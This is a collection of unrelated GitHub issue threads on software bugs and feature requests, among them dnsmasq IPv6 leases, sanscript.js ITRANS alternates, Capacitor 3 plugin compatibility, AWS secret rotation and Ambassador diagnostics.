;; WHEN: Sun Jul 08 23:29:40 CEST 2018
;; MSG SIZE  rcvd: 303

Leasefile from dnsmasq:
1562621358 00:16:3e:23:92:2f <IP_ADDRESS> c1 ff:a3:91:e2:e4:00:02:00:00:ab:11:29:d6:40:41:41:1c:58:0f
1562621335 00:16:3e:81:12:53 <IP_ADDRESS> * ff:d9:bb:12:4c:00:02:00:00:ab:11:29:d6:40:41:41:1c:58:0f
1562621316 00:16:3e:5c:50:af <IP_ADDRESS> * ff:39:92:5c:73:00:02:00:00:ab:11:29:d6:40:41:41:1c:58:0f
1562621290 00:16:3e:78:dd:47 <IP_ADDRESS> * ff:d9:9e:09:93:00:02:00:00:ab:11:29:d6:40:41:41:1c:58:0f
1562621265 00:16:3e:29:bb:b2 <IP_ADDRESS> * ff:d8:30:0d:e8:00:02:00:00:ab:11:29:d6:40:41:41:1c:58:0f
1562621238 00:16:3e:f0:f7:7d <IP_ADDRESS> * ff:3d:5d:e8:3f:00:02:00:00:ab:11:29:d6:40:41:41:1c:58:0f
1562621212 00:16:3e:c4:11:b7 <IP_ADDRESS> * ff:cf:ed:53:ab:00:02:00:00:ab:11:29:d6:40:41:41:1c:58:0f
1562621186 00:16:3e:e6:93:5b <IP_ADDRESS> * ff:96:b1:a8:3b:00:02:00:00:ab:11:29:d6:40:41:41:1c:58:0f
1562621160 00:16:3e:d5:4a:34 <IP_ADDRESS> * ff:60:61:31:b9:00:02:00:00:ab:11:29:d6:40:41:41:1c:58:0f
1562621079 00:16:3e:79:96:84 <IP_ADDRESS> * ff:ed:96:46:04:00:02:00:00:ab:11:ff:d4:af:f4:37:83:37:b9
1562621053 00:16:3e:2d:cb:81 <IP_ADDRESS> * ff:d8:c7:e1:ea:00:02:00:00:ab:11:7f:e0:a8:45:13:f2:31:b7
1562621027 00:16:3e:2b:e4:b6 <IP_ADDRESS> * ff:be:38:64:b2:00:02:00:00:ab:11:c1:b7:ac:0e:56:b7:36:22
1562621001 00:16:3e:71:84:95 <IP_ADDRESS> * ff:ed:f6:be:9e:00:02:00:00:ab:11:a8:95:75:6c:3d:9b:da:ce
1562620970 00:16:3e:7c:9c:3a <IP_ADDRESS> * ff:55:b2:f7:fc:00:02:00:00:ab:11:ec:ae:8d:1a:70:5b:67:16
1562620939 00:16:3e:13:d3:be <IP_ADDRESS> * ff:98:e2:45:25:00:02:00:00:ab:11:bc:7a:ae:e9:ce:f9:3b:f4
1562620914 00:16:3e:d2:d4:b5 <IP_ADDRESS> * ff:08:33:40:27:00:02:00:00:ab:11:03:1a:60:24:ab:50:03:7f
1562620885 00:16:3e:c9:cb:52 <IP_ADDRESS> * ff:5f:a3:4e:63:00:02:00:00:ab:11:c2:fa:00:32:aa:fe:8c:d9
1562620858 00:16:3e:84:b1:ec <IP_ADDRESS> * ff:54:52:2f:47:00:02:00:00:ab:11:d0:a9:d2:0c:55:0e:18:38
1562620831 00:16:3e:1b:0b:5c <IP_ADDRESS> * ff:69:6d:f0:4e:00:02:00:00:ab:11:4a:03:52:ae:a2:3d:d9:44
1562620761 00:16:3e:fc:db:73 <IP_ADDRESS> * ff:32:96:ff:12:00:02:00:00:ab:11:fe:e8:99:05:94:86:16:d1
1562620731 00:16:3e:df:21:0c <IP_ADDRESS> * ff:df:b4:ea:07:00:02:00:00:ab:11:14:26:af:83:93:b8:35:d0
1562620705 00:16:3e:40:84:97 <IP_ADDRESS> * ff:0c:bc:1e:bb:00:02:00:00:ab:11:64:74:ab:1c:d0:84:34:13
duid 00:01:00:01:22:d5:3b:3b:90:1b:0e:da:ca:e5
1562621358<PHONE_NUMBER> fd42:44d1:7589:ad1b:408f:a8f6:f11c:2bce c1 00:02:00:00:ab:11:29:d6:40:41:41:1c:58:0f
1562621335<PHONE_NUMBER> fd42:44d1:7589:ad1b:3fc7:f1ba:418e:ef36 c1 00:02:00:00:ab:11:29:d6:40:41:41:1c:58:0f
1562621316 965893235 fd42:44d1:7589:ad1b:582f:8060:72e:80dd c1 00:02:00:00:ab:11:29:d6:40:41:41:1c:58:0f
1562621290<PHONE_NUMBER> fd42:44d1:7589:ad1b:6699:e9a5:1942:3dfd c1 00:02:00:00:ab:11:29:d6:40:41:41:1c:58:0f
1562621265<PHONE_NUMBER> fd42:44d1:7589:ad1b:3726:7868:69d2:88d2 c1 00:02:00:00:ab:11:29:d6:40:41:41:1c:58:0f
1562621238<PHONE_NUMBER> fd42:44d1:7589:ad1b:6d:2120:1e41:2a9 c1 00:02:00:00:ab:11:29:d6:40:41:41:1c:58:0f
1562621212<PHONE_NUMBER> fd42:44d1:7589:ad1b:695:df77:95a6:b415 c1 00:02:00:00:ab:11:29:d6:40:41:41:1c:58:0f
1562621186<PHONE_NUMBER> fd42:44d1:7589:ad1b:a32b:9751:6356:10a5 c1 00:02:00:00:ab:11:29:d6:40:41:41:1c:58:0f
1562621160<PHONE_NUMBER> fd42:44d1:7589:ad1b:c357:efd8:361d:123 c1 00:02:00:00:ab:11:29:d6:40:41:41:1c:58:0f
1562621079<PHONE_NUMBER> fd42:44d1:7589:ad1b:8fc:4416:5f17:fd96 * 00:02:00:00:ab:11:ff:d4:af:f4:37:83:37:b9
1562621053<PHONE_NUMBER> fd42:44d1:7589:ad1b:ff3e:8a54:6aac:2537 * 00:02:00:00:ab:11:7f:e0:a8:45:13:f2:31:b7
1562621027<PHONE_NUMBER> fd42:44d1:7589:ad1b:9538:fb0c:588d:3841 * 00:02:00:00:ab:11:c1:b7:ac:0e:56:b7:36:22
1562621001<PHONE_NUMBER> fd42:44d1:7589:ad1b:fd7c:66ea:28db:217e * 00:02:00:00:ab:11:a8:95:75:6c:3d:9b:da:ce
1562620970<PHONE_NUMBER> fd42:44d1:7589:ad1b:97b0:c8de:8f8c:fb8f * 00:02:00:00:ab:11:ec:ae:8d:1a:70:5b:67:16
1562620939<PHONE_NUMBER> fd42:44d1:7589:ad1b:ae30:ec0f:140b:2bec * 00:02:00:00:ab:11:bc:7a:ae:e9:ce:f9:3b:f4
1562620914 137576487 fd42:44d1:7589:ad1b:b608:459a:74e0:8b0d * 00:02:00:00:ab:11:03:1a:60:24:ab:50:03:7f
1562620885<PHONE_NUMBER> fd42:44d1:7589:ad1b:da2e:d20d:3c49:eb18 * 00:02:00:00:ab:11:c2:fa:00:32:aa:fe:8c:d9
1562620858<PHONE_NUMBER> fd42:44d1:7589:ad1b:28be:4496:720c:659d * 00:02:00:00:ab:11:d0:a9:d2:0c:55:0e:18:38
1562620831<PHONE_NUMBER> fd42:44d1:7589:ad1b:dc17:d2c4:b7e6:fd53 * 00:02:00:00:ab:11:4a:03:52:ae:a2:3d:d9:44
1562620761 848756498 fd42:44d1:7589:ad1b:b643:802c:89cb:847f * 00:02:00:00:ab:11:fe:e8:99:05:94:86:16:d1
1562620731<PHONE_NUMBER> fd42:44d1:7589:ad1b:3bdc:fcd7:f9d7:ab97 * 00:02:00:00:ab:11:14:26:af:83:93:b8:35:d0
1562620705 213655227 fd42:44d1:7589:ad1b:55d7:52bd:4022:3939 * 00:02:00:00:ab:11:64:74:ab:1c:d0:84:34:13

Looks like the images:ubuntu/bionic have a different behavior.

Ok, so the source of the problem I think is that one image has IPv6 privacy extensions enabled when the other doesn't. On top of that, we have the issue that the dnsmasq leases file format is terrible for IPv6.
We don't have a working record of the MAC address in the lease file and so can't cleanly match against that when cleaning up the leases... Instead we'll go with a much less reliable name based matching in this case which does fix this particular case.


get_model for ModelForm

I create a model and then I create a Model
class Foo(models.Model):
name = models.CharField(_("Name"), max_length=128)
def str(self):
return self.name
class FooForm(ModelForm):
class Meta:
model = Foo
fields = ['name']
and so in views.py it is easy to manipulate objects from modelform (using view or not).
as apps.get_model returns the model, I would like to return the modelForm like this
object_class = apps.get_model(app_name, object_name) #works
object_form_class = apps.get_model(app_name, '%sForm' % object_name) # doesn't work

Please see TicketClosingReasons/UseSupportChannels for ways to get help with Django usage.


Make generic_ functions taking &impl IntoIter more generic

The original functions could not take references to slices and were somewhat limiting in their input. This change makes them more generic by allowing more types to be passed into them.
While this is technically a breaking change, because code which explicitly states the generics won't compile anymore, all other code should be unaffected. Thus, I expect pretty much no code to break in the wild. A minor version increase might be a good idea anyways.

This certainly makes sense. Internally we already run into this in the string versions. They use StringWrapper only to workaround this. I would consider this a breaking change though.


Notification Log is shifted down the screen with December 20 update

I'm having a dumb moment... where does the notification log come from?

I think this is from Notification Log mod - https://steamcommunity.com/sharedfiles/filedetails/?id=1459493312

My apologies, I totally forgot that I had added the Notification Log mod. Doubtful the change has anything to do with CQUI. (It would make a nice edition however as it's very handy at times.)

Update: Dec 29 @ 12:20pm
Fixed script error caused by a missing reference to a new file added in a recent base game update.


[Feature]: Cursor highlight and logging.

Feature description
Please add a feature so in headful mode, you can toggle whether you can view the cursor, and in headless/headful mode, add a built in feature to log where the cursor last went, and what state it was in. (Dragging, left-clicking, etc.)

I think it would be useful!

Thank you :)


Widevine CDM install crashing on ARM

During extraction (according to dialog) of the downloaded recovery image, process crashes. Log see attachement. Traced it down to the extraction run through _run_cmd(), but no idea where to go from there...
error.txt
InputStream Helper 0.4.3 (0.4.2 previously also failed)
Kodi 18.2 Leia from Raspbian Stretch official repository
Raspberry Pi 3b on Raspbian Stretch, latest updates/upgrades from official repository
Let me know in case you require additional information. Thanks!

I figured out the root cause. On a regular Linux system (so not LibreElec, OSMC, etc.), your user running Kodi might not have the right to use sudo command. In that case your agreement with the addon dialog ("plugin will use root commands x , y ,z") does not help and the related commands, mainly required for mounting the downloaded Chrome OS image, will fail.
You can work around this by adding the three commands mentioned in the respective addon dialog to your etc/sudoers file for the user running Kodi.
You might want to add a specific error message or at least remove the encoding issue from the current one so that the error message points in a more helpful direction.

Unicode problems should be fixed in version 0.4.3, please provide a full debug log from version 0.4.3

@GitUser4711 Can you try this fix:
script.module.inputstreamhelper-0.4.3-unicode-9b0d5c2.zip


ITRANS alternatives doesn't work

When I use aa instead of A or any other double characters it got transliterated wrongly, also to IAST and devanagari.
Even lot of tests are broken because of this issue.
It would be also great if it would be possible to enforce aa instead of A (same with ii, uu) when transliterating TO ITRANS. Is it possible somehow?

The configuration for these characters can be found here: https://github.com/indic-transliteration/common_maps/blob/master/roman/itrans.toml#L3-L7
I'd prefer the lowercase versions as well. You could either change that file, or create a new variant, maybe calling it itrans_lower or something like that.

Even lot of tests are broken because of this issue.

https://github.com/indic-transliteration/sanscript.js/actions indicates that the tests succeed. Can you write down a function call which will let us confirm if the bug exists?

It would be also great if it would be possible to enforce aa instead of A (same with ii, uu) when transliterating TO ITRANS. Is it possible somehow?
...
create a new variant, maybe calling it itrans_lower or something like that.
The configuration for these characters can be found here: https://github.com/indic-transliteration/common_maps/blob/master/roman/itrans.toml#L3-L7

Yes - the above is an acceptable option. Make sure to fix the alternates lower in the file as well.

Even lot of tests are broken because of this issue.

https://github.com/indic-transliteration/sanscript.js/actions indicates that the tests succeed. Can you write down a function call which will let us confirm if the bug exists?

For me the test/index.html shows the following: 108 assertions of 243 passed, 135 failed.
But I just modified this test to compare iast result instead of devanagari to prove it:
QUnit.test("Alternates", function () {
    const f = function (itrans1, itrans2, description) {
        const iast1 = Sanscript.t(itrans1, "itrans", "iast");
        const iast2 = Sanscript.t(itrans2, "itrans", "iast");
        QUnit.assert.equal(iast2, iast1, description);
    };

    f("A I U RRi RRI LLi LLI", "aa ii uu R^i R^I L^i L^I", "vowels");
    f("kA kI kU kRRi kRRI kLLi kLLI", "kaa kii kuu kR^i kR^I kL^i kL^I",
        "vowels (marks)");
    f("I U", "ee oo", "long I and U");
    f("kI kU", "kee koo", "long I and U (marks)");
    f("aM aM", "a.m a.n", "anusvara");
    f("~Na", "N^a", "na (kavarga)");
    f("ca", "cha", "ca");
    f("Cha Cha", "Ca chha", "cha");
    f("va", "wa", "va/wa");
    f("Sha Sha", "Sa shha", "sha (retroflex)");
    f("kSha kSha kSha", "kSa kshha xa", "ksha");
    f("j~na j~na", "GYa dnya", "jna");
    f("OM", "AUM", "om");
    f(".a | ||", "~ . ..", "punctuation");
    f("za", "Ja", "Devanagari za");
    f("a{\\m+}", "a.h.N", "{\\m+}");
});

And the result was:
vowels@ 0 ms
Expected:
"ā ī ū ṟṟi ṟṟī l̤l̤i l̤l̤ī"
Result:
"aa ii uu ṟ^i ṟ^ī l̤^i l̤^ī"
Diff:
"ā ī ū ṟṟi ṟṟaa ii uu ṟ^i ṟ^ī l̤l̤^i l̤l̤^ī"
Source:
    at f (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:549:22)
    at Object.<anonymous> (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:552:5)
vowels (marks)@ 1 ms
Expected:
"kā kī kū kṟṟi kṟṟī kl̤l̤i kl̤l̤ī"
Result:
"kaa kii kuu kṟ^i kṟ^ī kl̤^i kl̤^ī"
Diff:
"kā kī kū kṟṟaa kii kuu kṟ^i kṟṟ^ī kl̤l̤^i kl̤l̤^ī"
Source:
    at f (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:549:22)
    at Object.<anonymous> (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:553:5)
long I and U@ 1 ms
Expected:
"ī ū"
Result:
"ee oo"
Diff:
"ī ūee oo"
Source:
    at f (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:549:22)
    at Object.<anonymous> (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:555:5)
long I and U (marks)@ 2 ms
Expected:
"kī kū"
Result:
"kee koo"
Diff:
"kī kūee koo"
Source:
    at f (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:549:22)
    at Object.<anonymous> (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:556:5)
anusvara@ 2 ms
Expected:
"aṃ aṃ"
Result:
"a|m a|n"
Diff:
"aṃ aṃ|m a|n"
Source:
    at f (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:549:22)
    at Object.<anonymous> (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:557:5)
na (kavarga)@ 2 ms
Expected:
"'ṇa"
Result:
"ṇ^a"
Diff:
"'ṇ^a"
Source:
    at f (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:549:22)
    at Object.<anonymous> (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:558:5)
ca@ 3 ms
Expected:
"ca"
Result:
"cha"
Diff:
"cha"
Source:
    at f (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:549:22)
    at Object.<anonymous> (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:559:5)
cha@ 3 ms
Expected:
"chha chha"
Result:
"cha chha"
Diff:
"chha chha"
Source:
    at f (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:549:22)
    at Object.<anonymous> (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:560:5)
va/wa@ 3 ms
sha (retroflex)@ 3 ms
Expected:
"ṣha ṣha"
Result:
"ṣa shha"
Diff:
"ṣha ṣshha"
Source:
    at f (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:549:22)
    at Object.<anonymous> (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:562:5)
ksha@ 4 ms
Expected:
"kṣha kṣha kṣha"
Result:
"kṣa kshha kṣa"
Diff:
"kṣha kṣshha kṣha"
Source:
    at f (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:549:22)
    at Object.<anonymous> (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:563:5)
jna@ 4 ms
Expected:
"j'na j'na"
Result:
"ġẏa dnya"
Diff:
"j'na j'nġẏa dnya"
Source:
    at f (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:549:22)
    at Object.<anonymous> (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:564:5)
om@ 4 ms
Expected:
"Oṃ"
Result:
"āūṃ"
Diff:
"Oāūṃ"
Source:
    at f (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:549:22)
    at Object.<anonymous> (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:565:5)
punctuation@ 5 ms
Expected:
"|a | ||"
Result:
"' | ||"
Diff:
"|a' | ||"
Source:
    at f (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:549:22)
    at Object.<anonymous> (file:///D:/GIT-REPOS/sc/sanscript.js/test/tests.js:566:5)
Devanagari za@ 5 ms
{\m+}

It would be also great if it would be possible to enforce aa instead of A (same with ii, uu) when transliterating TO ITRANS. Is it possible somehow?
...
create a new variant, maybe calling it itrans_lower or something like that.
The configuration for these characters can be found here: https://github.com/indic-transliteration/common_maps/blob/master/roman/itrans.toml#L3-L7

Yes - the above is an acceptable option. Make sure to fix the alternates lower in the file as well.

Okay, going to create a new itrans_lowercase and send PR.

Yes, but I build on windows, so I needed to modify the build to:
so i run:

git checkout
npm install
npm run build && npx babel.cmd sanscript.es6.js --out-file sanscript.js
npm run test

maybe windows build or babel breaks somehow?

Yes, but I build on windows, so I needed to modify the build to: so i run:
1. git checkout

2. `npm install`

3. `npm run build && npx babel.cmd sanscript.es6.js --out-file sanscript.js`

Why not npm run dist instead of the above?

As transpile script breaks with some error:
basedir=$(dirname "$(echo "$0" | sed -e 's,\\,/,g')")
          ^^^^^^^

SyntaxError: missing ) after argument list
←[90m    at Object.compileFunction (node:vm:352:18)←[39m
←[90m    at wrapSafe (node:internal/modules/cjs/loader:1033:15)←[39m
←[90m    at Module._compile (node:internal/modules/cjs/loader:1069:27)←[39m
←[90m    at Object.Module._extensions..js (node:internal/modules/cjs/loader:1159:10)←[39m
←[90m    at Module.load (node:internal/modules/cjs/loader:981:32)←[39m
←[90m    at Function.Module._load (node:internal/modules/cjs/loader:822:12)←[39m
←[90m    at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:77:12)←[39m
←[90m    at node:internal/main/run_main_module:17:47←[39m

And back in the time if I remember will I ended up figuring out it's because of the babel script.
But as you can see the rest is the same.

I see - can you contribute your babel.cmd and update the README with instructions for Windows users (with a note that tests fail on Windows only and a link to this thread) then?

Fixed windows build, and added tests for ITRANS lowercase schema:
https://github.com/indic-transliteration/sanscript.js/pull/51

However thinking about an alternative solution:
what if Sanscript would have a new config, where the user could set the preferred alternate, and this way we would avoid duplicated schema definitions.
Something like this:
const conf  = {
  preferredAlternates: {"A": "aa", "I":"ii", "U": "uu", "j~n": "GY" }
};
Sanscript.t("śivāya", "iast", "itrans", conf);

So anywould could pick his/her preferred style of itrans, and we could avoid tons of duplications.

However thinking about an alternative solution: what if Sanscript would have a new config, where the user could set the preferred alternate, and this way we would avoid duplicated schema definitions.

Given the low downside, we can keep the new schema definition.

Something like this:
const conf  = {
  preferredAlternates: {"A": "aa", "I":"ii", "U": "uu", "j~n": "GY" }
};
Sanscript.t("śivāya", "iast", "itrans", conf);

Some config handling is welcome (analogous to what we have in the py version )
This particular alternates could be simply implemented as a sequence of replacements before returning, for now.

Okay, will create something, and will show it to you soon.
I would also add support in the Sanscript.default:
Sanscript.defaults = {
        "skip_sgml" : false,
        "syncope"   : false,
        "preferred_alternates":
          {"itrans": { "A": "aa", "I": "ii", "U": "uu", "j~n": "GY"}
    };

So would not need to set it all the times...

I don't share your preference for the lower case stuff (and so might others) - so let's not make it default.

Sorry, I was not clear enough. I just said there could be default setting option, which by default would be empty, but anyone could overwrite it at the beginning of his/her project, so no need to set it up all the time.

Have a look at this PR, for a proposed solution: https://github.com/indic-transliteration/sanscript.js/pull/52
Created a test case showing it's usage: https://github.com/indic-transliteration/sanscript.js/pull/52/commits/bf5beebbd25ae42170b9146e03731e8d3073029a#diff-6db27cd01f7a95b7fbc2d76b396eaec1957abbe8ec3198385c95e38e0a4909ddR527

Still, if you like it I would get rid of this itrans_lowercase. Will be much harder to maintain later two itrans solutions, I found already some hardcoded itrans refernces in the source. Especially as this is only one combination of the many preferred alternates

Thanks (Changes should be published to npm now.)! We'll keep itrans_lowercase because:

preferred_alternates can mess up escaped/ untransliterated texts - so, caller might not be able to use them in some cases.
Useful for python etc.. libraries, where preferred alternates is not implemented.


 Key design points are:

Exposes a new LazyLoader type that is owned by cluster manager.
LazyLoader allows the user to request for a specific cluster config.
LazyLoader is only available is there is a dynamic CDS config.
It will own its own separate XDS stream to not interfere with ClusterManager.
Callbacks can be added to ClusterManager to be notified of clusters updates or removal.

Missing in this initial PR. guidance requested:

At the moment there is no mechanism to deactivate the feature and avoid the extra XDS stream per envoy.
Tests.
I do not know if this PR should include a filter in source/common/http/filter/. Should I include one or let users implement their own using custom filters. Example implementation: https://gist.github.com/nt/e97410fd29583a340c4bb8ab4c41d9b8

Risk Level: Medium (new feature)

cc: @htuch

cc @mattklein123 for an initial review

I'm going to close this out while we work on design. @nt is upstreaming individual PRs that are extracted from this.


[Enhancement] Shows only 4 pull request made

I recommend that the tool shows all the pull requests that were made in the month of October which are valid for Hacktoberfest 2017.
I understand that the tool does its job by showing only 4. But wouldn't it be better if you know your entire progress then just a small part of it.
Just a thought.

Thank you @vipulgupta2048 for pointing out...
This issue is resolved :blush:

Since you see https://hacktoberfest.digitalocean.com/ already show you your entire progress for the same if you reopen the website while logged in.

I am sorry. I just mentioned this because It shows only 4 here.

 Setting a record there in "time taken to resolve issues". LOL
Gonna close this one.


Chinese Translation for 1.1.8

Chinese Translation for 1.1.8

Oh I totally missed this, sorry about that! Thanks for the translations, I'll get them merged.


ROS2 version

Hi all,
Do you think that a ros2 version would be great or are they other alternatives to this package ?

I'm interested too

Looking forward for a ROS2 version of this package

At 5 votes, I can initiate a update :)


Deck::SubDeck Layer doesn't work anymore

So I used this addon a few years ago and used it with Deck::SubDeck layer. For example,
"# My Lifelong Learning::Programming::ARM Embedded Linux Online Course::Chapter 1,2"
and I was able to populate it to Anki as shown below before

but now I'm using it again. It just creates a deck named "note" at the root level.
What's wrong here? Or is the feature no longer supported?

Are you able to create a test case or offer some reproducable steps for us to try out?

Are you able to create a test case or offer some reproducable steps for us to try out?

Sure. It's essentially just using the Anki Send to Deck function with the following md file.
anki-deck-intro-nutrition-ch19-key-terms.md
And the deck is created with just a "note" name at the top level. No layers.


feat: Process.tryWait

Inspired by: https://doc.rust-lang.org/stable/std/process/struct.Child.html#method.try_wait.
My use case for this API is in LeanSAT: We have a long running external process (the SAT solver) in a tactic. Due to interactivity I also need to check whether the tactic might have been cancelled yet. This means I want to periodically poll both the cancellation token as well as the process status until either of them are finished. However the current Process.wait API blocks so this is not possible. This new API does not block.

We should probably also let this run on the Windows CI before merging if that is possible?


Rotate Secret With Reader Endpoint

Hello.
We are planning to have Postgres roles that have the reader endpoint in the secret host attribute to enforce use of the Aurora reader endpoint without the application having to worry about changing endpoint URL's. Am I right in thinking that rotation will fail due to the reader endpoint being passed to the rotation Lambda?
If so, what is the solution? Customize the Lambda? Change our approach?
Thanks.

As shown in the rotation docs the rotation lambda will be looking for the secret to be filled in with a JSON structure like (assuming single user rotation):
{
  "engine": "postgres",
  "host": "<required: instance host name/resolvable DNS name>",
  "username": "<required: username>",
  "password": "<required: password>",
  "dbname": "<optional: database name. If not specified, defaults to 'postgres'>",
  "port": "<optional: TCP port number. If not specified, defaults to 5432>"
}

The "host" entry must be a writable endpoint so the rotation Lambda can change the password. However, other entries can be added to the JSON structure and will be ignored by the rotation Lambda so you can add the read only replica(s) or CNAME using some attribute other than the ones already in use.


[TASK] Remove use of statsmodels.tsa.arima_model.ARMA

Issue Description
Is your feature request related to a problem? Please describe.
ravenframework/SupervisedLearning/ARMA.py uses statsmodels.tsa.arima_model.ARMA which is no longer in statsmodels 0.13
ARMA is documented here:
https://www.statsmodels.org/0.9.0/generated/statsmodels.tsa.arima_model.ARMA.html
Describe the solution you'd like
It would be nice to be able to use newer versions of statsmodels.
Describe alternatives you've considered
Continue to use statsmodels 0.12 or older.

For Change Control Board: Issue Review
This review should occur before any development is performed as a response to this issue.

[ ] 1. Is it tagged with a type: defect or task?
[ ] 2. Is it tagged with a priority: critical, normal or minor?
[ ] 3. If it will impact requirements or requirements tests, is it tagged with requirements?
[ ] 4. If it is a defect, can it cause wrong results for users? If so an email needs to be sent to the users.
[ ] 5. Is a rationale provided? (Such as explaining why the improvement is needed or why current code is wrong.)

For Change Control Board: Issue Closure
This review should occur when the issue is imminently going to be closed.

[ ] 1. If the issue is a defect, is the defect fixed?
[ ] 2. If the issue is a defect, is the defect tested for in the regression test system?  (If not explain why not.)
[ ] 3. If the issue can impact users, has an email to the users group been written (the email should specify if the defect impacts stable or master)?
[ ] 4. If the issue is a defect, does it impact the latest release branch? If yes, is there any issue tagged with release (create if needed)?
[ ] 5. If the issue is being closed without a pull request, has an explanation of why it is being closed been provided?

The most similar replacement would be statsmodels.tsa.arima.model.ARIMA (documented here: https://www.statsmodels.org/devel/generated/statsmodels.tsa.arima.model.ARIMA.html). I'm familiar with the ARMA.py file and models in question and could handle this.
Something to consider is that changing models will likely break any existing pickled ARMA ROMs.


Update discord roles on users

e.g: Automatically assign/remove captain role for team captains.
Two options:
Option pretty: Website sends a request to discord API to update the discord role on the user. Requires access to the discord id of the user.
Option ugly: Website sends a message to Heroes Lounge discord requesting a user update. Heroesbot updates the discord role on the user. Requires a lot of error checking.

@Astraeus-  please remind, that I want to introduce Bnet oauth which should include a link your discord account
https://github.com/kealsera/rikki/issues/56
also when in doubt, always the pretty version ;)

For assigning the role to the discord user, do you want to pass the entire sloth object or the sloth's discord id once OAuth is done? @kealsera @Fabian-Sommer

I'm not really sure where you want to go with the answer to that question. Saying: Why does either matter?

Well if I get the entire sloth, I'll need to strip the discord id myself, whereas if you directly input the discord id I wouldn't , I'll just upload what I have later today and then I can always change it.

OAuth will still require a huge amount of work as I am currently not even further developing it - if @Fabian-Sommer is not taking that task over it will still require a couple of weeks till I may have time for it OSSloth


List should have a method #unshift and #unshiftAll

This issue was originally filed by<EMAIL_ADDRESS>
With List#add and List#addAll commands, theres never a "inverse" command when I would like to add items to the beginning of the List besides List#insert and List#insertAll, but I have to pass an index.
I propose doing something like Ruby(s) Array#unshift command. It would be good syntactic sugar for the language.
So I can just do:
List<int> list = [4,5,6];
list.unshift(0);
=> [1,4,5,6]
Or:
List<int> list = [4,5,6];
list.unshiftAll([1,2,3]);
=> [1,2,3,4,5,6]

I beleive that can easily be addressed by doing the following:
  var colors = ["red", "green", "blue", "orange", "pink"];
  var extras = ["white", "yellow"];
  extras.addAll(colors);
  print(extras);

Feel free to test in


Update this plugin for Capacitor 3

Capacitor 3 is being built and is already in beta. In this new version the native plugins have been removed from the core and there are some changes that are necessary in the existing plugins.
Example: Plugin Imports
The Plugins object is deprecated, but will continue to work in Capacitor 3. Capacitor plugins should be updated to use the new plugin registration APIs (see the Upgrade Guide for plugins), which will allow them to be imported directly from the plugin’s package.
Going forward, the Plugins object from @capacitor/core should not be used.
// OLD
import { Plugins } from '@capacitor/core';
const { AnyPlugin } = Plugins;
Importing the plugin directly from the plugin’s package is preferred, but the plugin must be updated to work with Capacitor 3 for this to be possible.

// NEW
import { AnyPlugin } from 'any-plugin';

References:
Updating Capacitor to 3.0 in your plugin
Updating Capacitor to 3.0 in your app
(credits to @mklipe for issue explanation)

Something new here?

The official Capacitor 3.0 was released.
I was checking my app, to see and update could be made and it seems this is the only plugin that is not yet compatible.
There's already an PR for this https://github.com/capacitor-community/apple-sign-in/pull/34 but is referring combability to Capacitor 3.0.0-beta.3. Don't know if it needs any additional change, assuming there's possible changes in the latest official release.

Hi, capacitor has launched their final release 3.0.0
Could you update the plugin because we are obtaining this error :
Error: node_modules/@capacitor/core/types/definitions-internal.d.ts:16:18 - error TS2430: Interface 'CapacitorInstance' incorrectly extends interface 'CapacitorGlobal'.
  Types of property 'Plugins' are incompatible.
    Type '{ [pluginName: string]: { [prop: string]: any; }; }' is missing the following properties from type 'PluginRegistry': SignInWithApple,

Any update on if/when a capacitor 3 compatible release of this plugin will be available?

You must only install it without the tag.
npm install capacitor-community/apple-sign-in

Then you have the master branch installed and you can use with Capacitor 3.

npm install capacitor-community/apple-sign-in

@epicshaggy Why did you close this? It's still throwing the error @alexx855 posted.

:(


Isolate ambassador.Diagnostics

Ambassador's diagnostics service relies on diagnostics data generated from the IR. The code that implements this is scattered through config.py and diagd.py; we're going to pull it out into an isolated ambassador.Diagnostics class that can be used as a building block going forward.
ambassador.Diagnostics will accept an ambassador.IR and build the data structures needed by the diagnostics service.

Diagnostics data is, broadly speaking, an inversion of the IR

the IR is (mostly) organized around Ambassador concepts like Mappings
the diagnostics view has

an overview organized around the routing table, and
detailed views organized around source objects

the ambassador.Diagnostics object must make both views readily accessible for the UI

the overview probably need not be parameterized
the detail views must be tailored to a particular route or source object, at minimum
in all cases, it has to be possible to link from the overview to relevant source objects and vice versa

We will need to extend configmgr to allow dumping at least the overview for a given configuration. We expect to extend configtest as well.
Conditions of Satisfaction

[x] Isolated ambassador.Diagnostics class
[ ] Classes are fully type hinted with mypy running clean
[x] configmgr can dump the ambassador.Diagnostics data for a given Ambassador config
[x] configtest either vets the ambassador.Diagnostics data, or we've decided not to do this
[ ] A consumer of ambassador.Diagnostics can quickly validate many Ambassador inputs without actually needing to run an Ambassador command-line tool or start an Envoy running.
[ ] ambassador.Diagnostics needs to provide all the information required for actually creating the Ambassador diagnostics UI, including at least:

[ ] displaying Ambassador metadata (e.g. the version, update notices, etc.)
[ ] displaying the full routing table
[ ] displaying configured services for auth, ratelimits, etc.
[ ] drilling down from the routing table to a specific mapping
[ ] expanding from a mapping to other objects from the same location
[ ] displaying a synthesis of all the services involved in handling a request to a mapping (e.g. first it hits the auth service, then the ratelimit, then the mapped service...).

This is part of #606, and depends on #624.

The bits of this that aren't done are tracked elsewhere now. It hasn't always been as graceful as I'd've liked, admittedly... :smile:


